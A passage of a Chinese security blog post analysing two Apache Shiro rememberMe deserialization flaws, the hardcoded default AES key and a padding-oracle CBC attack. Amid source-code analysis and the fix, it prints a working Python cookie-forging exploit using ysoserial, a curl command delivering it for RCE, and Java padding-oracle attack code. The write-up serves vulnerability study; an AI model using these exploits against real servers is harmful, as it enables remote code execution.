                String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
                        "] threw an exception during getRememberedPrincipals().";
                log.warn(msg, e);
            }
        }
    }
    return null;
}

public RememberMeManager getRememberMeManager() {
    return rememberMeManager;
}

回顾前面的安全管理器的bean配置,我们可以清楚的记得其实现class是org.apache.shiro.web.mgt.DefaultWebSecurityManager,也就是当前类DefaultSecurityManager的子类

我们观察该子类的构造方法

public DefaultWebSecurityManager() {
    super();
    DefaultWebSessionStorageEvaluator webEvalutator = new DefaultWebSessionStorageEvaluator();  
    ((DefaultSubjectDAO) this.subjectDAO).setSessionStorageEvaluator(webEvalutator);
    this.sessionMode = HTTP_SESSION_MODE;
    setSubjectFactory(new DefaultWebSubjectFactory());
    setRememberMeManager(new CookieRememberMeManager());
    setSessionManager(new ServletContainerSessionManager());
    webEvalutator.setSessionManager(getSessionManager());
}

从构造方法可以很清楚的了解到,RememberMeManager的实现为CookieRememberMeManager

那么,我们继续跟进到getRememberedPrincipals()方法中来

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

其中,主要就是两个点

  1. 从cookie中读取rememberMe值,通过base64解码后再进行AES解密,得到其解密后的字节数据bytes
  2. 把解密后的字节数据bytes反序列化为PrincipalCollection对象

那么,聪明的人就会发现,如果我们可以控制解密后的明文,我们就可以实现反序列化RCE了

0x02 反序列化远古洞(Shiro <= 1.2.4)

前面讲到了RememberMe这个点,接着,我们跟进1.2.4这个shiro版本的源码,去分析一下这个远古洞产生的原因吧。

RememberMeManager的实现为CookieRememberMeManager,我们延续上一章,跟进其源码getRememberedPrincipals()方法实现,可以发现,CookieRememberMeManager并没有其实现方法,在向上跟踪时发现,它是继承了org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals,所以我们跟进到AbstractRememberMeManager的getRememberedPrincipals()方法实现

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

而getRememberedSerializedIdentity()抽象方法由其子类CookieRememberMeManager实现

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
    //...
    String base64 = getCookie().readValue(request, response);
    // Browsers do not always remove cookies immediately (SHIRO-183)
    // ignore cookies that are scheduled for removal
    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

    if (base64 != null) {
        base64 = ensurePadding(base64);
        if (log.isTraceEnabled()) {
            log.trace("Acquired Base64 encoded identity [" + base64 + "]");
        }
        byte[] decoded = Base64.decode(base64);
        if (log.isTraceEnabled()) {
            log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
        }
        return decoded;
    } else {
        //no cookie set - new site visitor?
        return null;
    }
}

通过调用SimpleCookie的readValue()方法读取了一个base64的cookie值

public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME = "rememberMe";

private Cookie cookie;

/**
 * Constructs a new {@code CookieRememberMeManager} with a default {@code rememberMe} cookie template.
 */
public CookieRememberMeManager() {
    Cookie cookie = new SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME);
    cookie.setHttpOnly(true);
    //One year should be long enough - most sites won't object to requiring a user to log in if they haven't visited
    //in a year:
    cookie.setMaxAge(Cookie.ONE_YEAR);
    this.cookie = cookie;
}

通过审阅CookieRememberMeManager源码可以发现,该cookie名为rememberMe

private String ensurePadding(String base64) {
    int length = base64.length();
    if (length % 4 != 0) {
        StringBuilder sb = new StringBuilder(base64);
        for (int i = 0; i < length % 4; ++i) {
            sb.append('=');
        }
        base64 = sb.toString();
    }
    return base64;
}

接着通过调用ensurePadding()方法,如果rememberMe的base64值不符合规范,就会对其进行=符号的补充

最后调用byte[] decoded = Base64.decode(base64);对其base64解码返回

回到方法getRememberedPrincipals()

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

接着是对base64解码后的数据执行convertBytesToPrincipals()方法,看名称,其实表达了很清晰的含义了,就是把字节数据转换为凭证

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

其中decrypt()方法就是对其进行ASE解密,然后由deserialize()方法对其解密数据进行反序列化

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

这里有一个很关键的地方,也是这个远古漏洞造成的原因,就是getDecryptionCipherKey()方法

public byte[] getDecryptionCipherKey() {
    return decryptionCipherKey;
}

它返回了一个AES解密的key,通过跟踪其设置的代码,可以跟到

public void setCipherKey(byte[] cipherKey) {
    //Since this method should only be used in symmetric ciphers
    //(where the enc and dec keys are the same), set it on both:
    setEncryptionCipherKey(cipherKey);
    setDecryptionCipherKey(cipherKey);
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

没错,这个AES解密的key在默认情况下,是一个预置的值,那么到这里,这个漏洞的成因以及完全剖析结束了,那么,我们试试效果?

这是我测试的exploits:

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(payload,command):
    popen = subprocess.Popen(['java', '-jar', '../ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar', payload, command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    #iv   =  base64.b64decode(rememberMe)[:16]   
    iv = uuid.uuid4().bytes
    print(iv)
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    print(sys.argv[1],sys.argv[2])
    payload = encode_rememberme(sys.argv[1],sys.argv[2])
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)
~

通过这个exp,就能生成攻击的cookie,最后使用这个cookie,就能达到RCE

curl -d "" "http://A.B.C.D:8080/login" --cookie "`cat payload.cookie`"

漏洞的修复:

在爆出这样的一个漏洞后,shiro官方的修复手段也很简单,就是让shiro每次启动,都会随机生成一个新的key作为AES解密的key,从而修复这个远古洞。

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    AesCipherService cipherService = new AesCipherService();
    this.cipherService = cipherService;
    setCipherKey(cipherService.generateNewKey().getEncoded());
}

0x03 PaddingOracle CBC Attack(shiro <= 1.4.1)

在好几年前的远古洞被修复之后,为何在前段时间,又爆出了新的RCE洞,而且还是在AES这个地方。

基本上,玩过CTF的人,大部分都了解过padding oracle和cbc翻转攻击,如果不太了解的,我建议看看《我对Padding Oracle攻击的分析和思考(详细)》这个文章。

要进行padding oracle攻击,需要目标系统满足一个条件,就是对于ASE解密时padding的正确与否,目标会返回一个明确的信息,类似布尔盲注。

我们转到被爆出漏洞的shiro版本(1.4.1)源码

回到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals这个方法

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

我这里列出一条执行方法栈

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

->

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

->

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

    byte[] encrypted = ciphertext;

    //No IV, check if we need to read the IV from the stream:
    byte[] iv = null;

    if (isGenerateInitializationVectors(false)) {
        try {
            //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it
            //is:
            // - the first N bytes is the initialization vector, where N equals the value of the
            // 'initializationVectorSize' attribute.
            // - the remaining bytes in the method argument (arg.length - N) is the real cipher text.

            //So we need to chunk the method argument into its constituent parts to find the IV and then use
            //the IV to decrypt the real ciphertext:

            int ivSize = getInitializationVectorSize();
            int ivByteSize = ivSize / BITS_PER_BYTE;

            //now we know how large the iv is, so extract the iv bytes:
            iv = new byte[ivByteSize];
            System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

            //remaining data is the actual encrypted ciphertext.  Isolate it:
            int encryptedSize = ciphertext.length - ivByteSize;
            encrypted = new byte[encryptedSize];
            System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
        } catch (Exception e) {
            String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
            throw new CryptoException(msg, e);
        }
    }

    return decrypt(encrypted, key, iv);
}

->

private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException {
    if (key == null || key.length == 0) {
        throw new IllegalArgumentException("key argument cannot be null or empty.");
    }
    javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false);
    return crypt(cipher, bytes);
}

->

private byte[] crypt(javax.crypto.Cipher cipher, byte[] bytes) throws CryptoException {
    try {
        return cipher.doFinal(bytes);
    } catch (Exception e) {
        String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
        throw new CryptoException(msg, e);
    }
}

这个执行栈有点长,但最终执行到最后一步crypt()方法时,如果解密出现padding错误的话,就会直接抛出异常throw new CryptoException(msg, e);,一直向上,直到我们刚刚说的getRememberedPrincipals()方法,接着被try、catch捕获异常,由onRememberedPrincipalFailure()方法进行处理

跟进其方法发现,forgetIdentity()方法在当前的AbstractRememberMeManager类并没有实现

protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) {

    if (log.isWarnEnabled()) {
        String message = "There was a failure while trying to retrieve remembered principals.  This could be due to a " +
                "configuration problem or corrupted principals.  This could also be due to a recently " +
                "changed encryption key, if you are using a shiro.ini file, this property would be " +
                "'securityManager.rememberMeManager.cipherKey' see: http://shiro.apache.org/web.html#Web-RememberMeServices. " +
                "The remembered identity will be forgotten and not used for this request.";
        log.warn(message);
    }
    forgetIdentity(context);
    //propagate - security manager implementation will handle and warn appropriately
    throw e;
}

跟进其实现类org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity(org.apache.shiro.subject.SubjectContext)

public void forgetIdentity(SubjectContext subjectContext) {
    if (WebUtils.isHttp(subjectContext)) {
        HttpServletRequest request = WebUtils.getHttpRequest(subjectContext);
        HttpServletResponse response = WebUtils.getHttpResponse(subjectContext);
        forgetIdentity(request, response);
    }
}
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
    getCookie().removeFrom(request, response);
}

可以看到,最后调用的是rememberMe这个cookie对应的SimpleCookie对象的removeFrom()方法

public static final String DELETED_COOKIE_VALUE = "deleteMe";

public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
    String name = getName();
    String value = DELETED_COOKIE_VALUE;
    String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
    String domain = getDomain();
    String path = calculatePath(request);
    int maxAge = 0; //always zero for deletion
    int version = getVersion();
    boolean secure = isSecure();
    boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all
    SameSiteOptions sameSite = null;

    addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly, sameSite);

    log.trace("Removed '{}' cookie by setting maxAge=0", name);
}

很简单,源码可以看出来,覆盖掉了rememberMe这个cookie的值为deleteMe

那么,答案就呼之欲出了,只要padding错误,服务端就会返回一个cookie: rememberMe=deleteMe;

那么,上面讲述了padding错误的返回特征后,那么padding正确的特征到底是如何呢?

因为java原生的反序列化,是按照约定的格式读取序列化数据,一步一步反序列化的,那么也就是说,我如果在序列化数据后面加入一些数据,是不会影响反序列化的,这里可以参考一下《浅析Java序列化和反序列化》

那么,既然在序列化数据后面加上一段数据,不会影响反序列化,也就是说,我们可以利用一个已有的rememberMe cookie值(AES加密的序列化数据),在其后加入一段数据,只要ASE能正确解密数据,就必然能被反序列化。

也就是说,在padding正常的情况下,反序列化能正常进行,web系统能知道我们的身份,在启用RememberMe,也就是配置了user的filter chain的接口或页面,就能正常的返回数据。

为什么说 配置了user的filter chain的接口或页面,就能正常的返回数据

我们回到最初的org.apache.shiro.web.servlet.AbstractShiroFilter#doFilterInternal处,在创建完成Subject后,我们说过,会执行一个filter chain

subject.execute(new Callable() {
    public Object call() throws Exception {
        updateSessionLastAccessTime(request, response);
        executeChain(request, response, chain);
        return null;
    }
});

跟进其executeChain()方法

protected void executeChain(ServletRequest request, ServletResponse response, FilterChain origChain)
        throws IOException, ServletException {
    FilterChain chain = getExecutionChain(request, response, origChain);
    chain.doFilter(request, response);
}

其中比较关心的是getExecutionChain()方法,通过调用这个方法,返回了一个FilterChain,然后执行其doFilter()方法过滤请求

protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) {
    FilterChain chain = origChain;

    FilterChainResolver resolver = getFilterChainResolver();
    if (resolver == null) {
        log.debug("No FilterChainResolver configured.  Returning original FilterChain.");
        return origChain;
    }

    FilterChain resolved = resolver.getChain(request, response, origChain);
    if (resolved != null) {
        log.trace("Resolved a configured FilterChain for the current request.");
        chain = resolved;
    } else {
        log.trace("No FilterChain configured for the current request.  Using the default.");
    }

    return chain;
}

到这里,我们应该隐约还有一些前面讲的内容的记忆吧?。。。没错,就是FilterChainResolver的实现PathMatchingFilterChainResolver,这里就是对其进行调用的地方了,通过调用其getChain()方法,找到相应的过滤器链执行过滤请求,那么,上面所说的user,对应的filter就是UserFilter

public class UserFilter extends AccessControlFilter {

    /**
     * Returns <code>true</code> if the request is a
     * {@link #isLoginRequest(javax.servlet.ServletRequest, javax.servlet.ServletResponse) loginRequest} or
     * if the current {@link #getSubject(javax.servlet.ServletRequest, javax.servlet.ServletResponse) subject}
     * is not <code>null</code>, <code>false</code> otherwise.
     *
     * @return <code>true</code> if the request is a
     * {@link #isLoginRequest(javax.servlet.ServletRequest, javax.servlet.ServletResponse) loginRequest} or
     * if the current {@link #getSubject(javax.servlet.ServletRequest, javax.servlet.ServletResponse) subject}
     * is not <code>null</code>, <code>false</code> otherwise.
     */
    protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {
        if (isLoginRequest(request, response)) {
            return true;
        } else {
            Subject subject = getSubject(request, response);
            // If principal is not null, then the user is known and should be allowed access.
            return subject.getPrincipal() != null;
        }
    }

    /**
     * This default implementation simply calls
     * {@link #saveRequestAndRedirectToLogin(javax.servlet.ServletRequest, javax.servlet.ServletResponse) saveRequestAndRedirectToLogin}
     * and then immediately returns <code>false</code>, thereby preventing the chain from continuing so the redirect may
     * execute.
     */
    protected boolean onAccessDenied(ServletRequest request, ServletResponse response) throws Exception {
        saveRequestAndRedirectToLogin(request, response);
        return false;
    }
}

重点在isAccessAllowed()方法,判断了请求是否是登录请求,若是,则直接通过,否则会从上下文中取出前面创建的Subject,其中含有前面反序列化rememberMe解密数据得到的PrincipalCollection,也就是说,只要能正常反序列化成功,那么这里就会直接通过。

从这里我们就可以知道,我们为什么需要一个配置为user的接口或者页面了。

好了,两个最重要的条件就出来了:

  1. padding失败,返回一个cookie: rememberMe=deleteMe;
  2. padding成功,返回正常的响应数据

如果我们要进行padding oracle攻击,那我们只要判断响应头是否包含有cookie: rememberMe=deleteMe;,就能确定padding是否正常了。

那padding oracle究竟如何去实现呢?这里我推荐p0's师傅的文章《Shiro Padding Oracle Attack 反序列化》

我这里也自己手撸了一个Java版的shiro padding oracle cbc attack exploits,放在marshalsec,大家可以参考一下,https://github.com/threedr3am/marshalsec

熟悉Java代码的,很容易能看出来,下面的代码,每一轮padding爆破是把一个data数据拼接到原有的rememberMe cookie,然后请求web服务端,根据其响应做出判断

private void attack(byte[] bytes) {
byte[] originRememberMe = Base64.getDecoder().decode(rememberMe.getBytes());

CBCResult cbcResult = PaddingOracleCBCForShiro
    .paddingOracleCBC(bytes, data -> {
      try {
        byte[] newRememberMe = new byte[originRememberMe.length + data.length];
        System.arraycopy(originRememberMe, 0, newRememberMe, 0, originRememberMe.length);
        System.arraycopy(data, 0, newRememberMe, originRememberMe.length, data.length);
        return request(newRememberMe);
      } catch (Exception e) {
        e.printStackTrace();
      }
      return false;
    });

byte[] remenberMe = new byte[cbcResult.getIv().length + cbcResult.getCrypt().length];
System.arraycopy(cbcResult.getIv(), 0, remenberMe, 0, cbcResult.getIv().length);
System.arraycopy(cbcResult.getCrypt(), 0, remenberMe, cbcResult.getIv().length,
    cbcResult.getCrypt().length);
System.out.println("remenberMe=" + Base64.getEncoder().encodeToString(remenberMe));
request(remenberMe);
}

而下面的代码,就是像荐p0's师傅文章所说的,不断用两个block,去padding oracle,得到middle后,接着进行cbc翻转攻击,把我们预期要解密出cbcResBytes,也就是一个序列化的攻击payload,一段段的利用cbc翻转,得到相应的密文,接着存储到res这个数值,在全部都遍历攻击完毕后,通过CBCResult这个对象返回

public static CBCResult paddingOracleCBC(byte[] cbcResBytes,
      Predicate<byte[]> predicate) {

    //填充期望结果长度为16字节的倍数
    cbcResBytes = padding(cbcResBytes);
    System.out.println("[payload-length]:" + cbcResBytes.length);
    //该值为期望结果的组数-1,用于不断反向取出每组期望值去CBC攻击
    int cbcResGroup = cbcResBytes.length / 16;
    byte[] res = new byte[cbcResBytes.length];
    byte[] iv = new byte[16];
    byte[] crypt = new byte[16];

    int paddingLen = 0;
    for (; cbcResGroup > 0; cbcResGroup--) {
      System.out.println("[padding-length]:" + (paddingLen+=16) + "/" + cbcResBytes.length);
      byte[] middle = paddingOracle(iv, crypt, predicate);
      byte[] plain = generatePlain(iv, middle);
      byte[] plainTmp = Arrays.copyOf(plain, plain.length);
      plainTmp = unpadding(plainTmp);
      System.out.println("[plain]:" + new String(plainTmp));
      byte[] cbcResTmp = Arrays.copyOfRange(cbcResBytes, (cbcResGroup - 1) * 16, cbcResGroup * 16);
      //构造新的iv,cbc攻击
      byte[] ivBytesNew = cbcAttack(iv, cbcResTmp, plain);
      System.out.println("[cbc->plain]:" + new String(generatePlain(ivBytesNew, middle)));

      System.arraycopy(crypt, 0, res, (cbcResGroup - 1) * 16, 16);

      crypt = ivBytesNew;
      iv = new byte[iv.length];
    }

    return new CBCResult(crypt, res);
}

参考

我对Padding Oracle攻击的分析和思考(详细):https://www.freebuf.com/articles/web/15504.html

Shiro Padding Oracle Attack 反序列化:https://p0sec.net/index.php/archives/126/

浅析Java序列化和反序列化:https://xz.aliyun.com/t/3847

marshalsec:https://github.com/threedr3am/marshalsec

点击收藏 | 1 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖